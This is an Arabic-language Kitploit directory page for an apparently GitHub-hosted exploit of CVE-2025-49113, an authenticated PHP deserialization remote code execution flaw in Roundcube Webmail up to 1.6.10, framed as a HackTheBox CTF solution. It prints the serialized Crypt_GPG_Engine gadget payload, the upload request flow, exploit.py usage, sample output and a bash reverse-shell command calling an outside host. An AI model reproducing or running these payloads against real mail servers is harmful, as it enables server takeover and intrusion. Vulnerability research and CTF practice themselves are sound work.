Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-49113-Roundcube-RCE — CVE-2025-49113 – Roundcube ≤1.6.10 ثغرة تنفيذ تعليمات برمجية عن بُعد بعد المصادقة عبر إلغاء تسلسل كائنات PHP (HackTheBox CTF) | Kitploit
أدوات/GitHubGitHub/rippsec/cve-2025-49113-roundcube-rce
تحليل الثغرات الأمنيةتحليل الكودالاستغلالاستغلال تطبيقات الويبCTFاختبار الاختراقتطوير الحمولات
GitHubrippsec/cve-2025-49113-roundcube-rce

CVE-2025-49113-Roundcube-RCE

CVE-2025-49113 – Roundcube ≤1.6.10 ثغرة تنفيذ تعليمات برمجية عن بُعد بعد المصادقة عبر إلغاء تسلسل كائنات PHP (HackTheBox CTF)

عرض المستودع
منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-49113 — تنفيذ الأوامر عن بُعد بعد المصادقة عبر إلغاء تسلسل كائنات PHP في Roundcube

نظرة عامة

الحقلالتفاصيل
CVECVE-2025-49113
البرنامجRoundcube Webmail
الإصدارات المتأثرة≤ 1.6.10
نوع الثغرةإلغاء تسلسل كائنات PHP → تنفيذ أوامر عن بُعد
المصادقةمطلوبة (أي مستخدم صالح)
التأثيرتنفيذ أوامر عن بُعد على الخادم
السياقتم اكتشافها خلال تحدي HackTheBox CTF

الوصف

إصدارات Roundcube Webmail حتى 1.6.10 شاملة معرضة لثغرة تنفيذ أوامر عن بُعد بعد المصادقة. يقوم معالج تحميل الملفات بإلغاء تسلسل كائن PHP مضمن في اسم الملف المُرفَع. من خلال صياغة اسم ملف ضار يحتوي على كائن Crypt_GPG_Engine مُسلسَل، يمكن لمهاجم مُوثَّق تشغيل أوامر عشوائية على الخادم الأساسي عند معالجة اسم الملف.

التفاصيل التقنية

فئة الثغرة

إلغاء تسلسل كائنات PHP (CWE-502). نقطة نهاية تحميل الملفات في Roundcube تمرر اسم الملف المقدم من العميل عبر مسار إلغاء تسلسل دون التحقق منه. تتوفر فئة Crypt_GPG_Engine في سلسلة التبعيات الخاصة بـ Roundcube وتعمل كسلسلة أدوات قابلة للاستخدام.

سلسلة الأدوات

تحتوي فئة Crypt_GPG_Engine على خاصية _gpgconf التي تمرر إلى استدعاء على مستوى النظام أثناء إتلاف/تهيئة الكائن. من خلال تسلسل مثيل بقيمة _gpgconf مُصنَّعة، يجبر المهاجم على تنفيذ الأمر.

root@kitploit:~
تنسيق الحمولة المسلسلة:
|O:16:"Crypt_GPG_Engine":3:{
    s:8:"_process"; b:0;
    s:8:"_gpgconf"; s:<len>:"<أمر مشفر بـ Base32> | base32 -d | sh &#";
    s:8:"_homedir"; s:0:"";
}

يتم ترميز الأمر باستخدام Base32 لتجنب مشاكل الأحرف الخاصة في حقل اسم الملف.

سير الاستغلال

root@kitploit:~
المهاجم (مُوثَّق)
    │
    ▼
GET /?_task=login         → جلب رمز CSRF + كود الجلسة
    │
    ▼
POST /?_task=login         → المصادقة ببيانات اعتماد صالحة
    │
    ▼
POST /?_task=settings&_action=upload
    Content-Disposition: filename="<الحمولة المسلسلة>"
    │
    ▼
الخادم يلغي تسلسل اسم الملف → يتم إنشاء مثيل لـ Crypt_GPG_Engine
    │
    ▼
تنفيذ _gpgconf → يتم تشغيل أمر نظام التشغيل كمستخدم خادم الويب

لماذا Base32؟

يتم ترميز الأمر باستخدام Base32 لتجنب الأحرف التي قد تفسد حقل اسم الملف متعدد الأجزاء (اقتباسات، شرطات، إلخ). الأمر النهائي المنفذ على الخادم هو:

root@kitploit:~
echo "<B32_CMD>" | base32 -d | sh

الاستخدام

root@kitploit:~
python3 exploit.py -u <مستخدم> -p <كلمة مرور> -i <الهدف URL> -x <أمر>
العلامةالوصف
-uاسم مستخدم Roundcube
-pكلمة مرور Roundcube
-iعنوان الهدف (مثل http://mail.target.htb)
-xالأمر المراد تنفيذه على الخادم

مثال

root@kitploit:~
# التحقق من تنفيذ الأمر كمستخدم خادم الويب
python3 exploit.py -u admin -p password -i http://mail.target.htb -x "id"

# شل عكسي
python3 exploit.py -u admin -p password -i http://mail.target.htb \
  -x "bash -c 'bash -i >& /dev/tcp/10.10.14.1/4444 0>&1'"

المتطلبات

لا حاجة لمكتبات خارجية — يستخدم مكتبة Python القياسية فقط (http.client, urllib, base64, إلخ).

إثبات المفهوم

root@kitploit:~
$ python3 exploit.py -u bob -p letmein -i http://mail.target.htb -x "id"
[*] بدء استغلال Roundcube (CVE-2025-49113)
[*] جلب رمز CSRF...
[+] تم الحصول على رمز CSRF: abc123...
[*] جاري المصادقة...
[+] نجحت المصادقة
[*] تنفيذ الأمر: id
[+] اكتمل الاستغلال. تحقق من الهدف لتنفيذ الأمر.

المراجع

  • إدخال NVD
  • الموقع الرسمي لـ Roundcube
تنزيل الأداة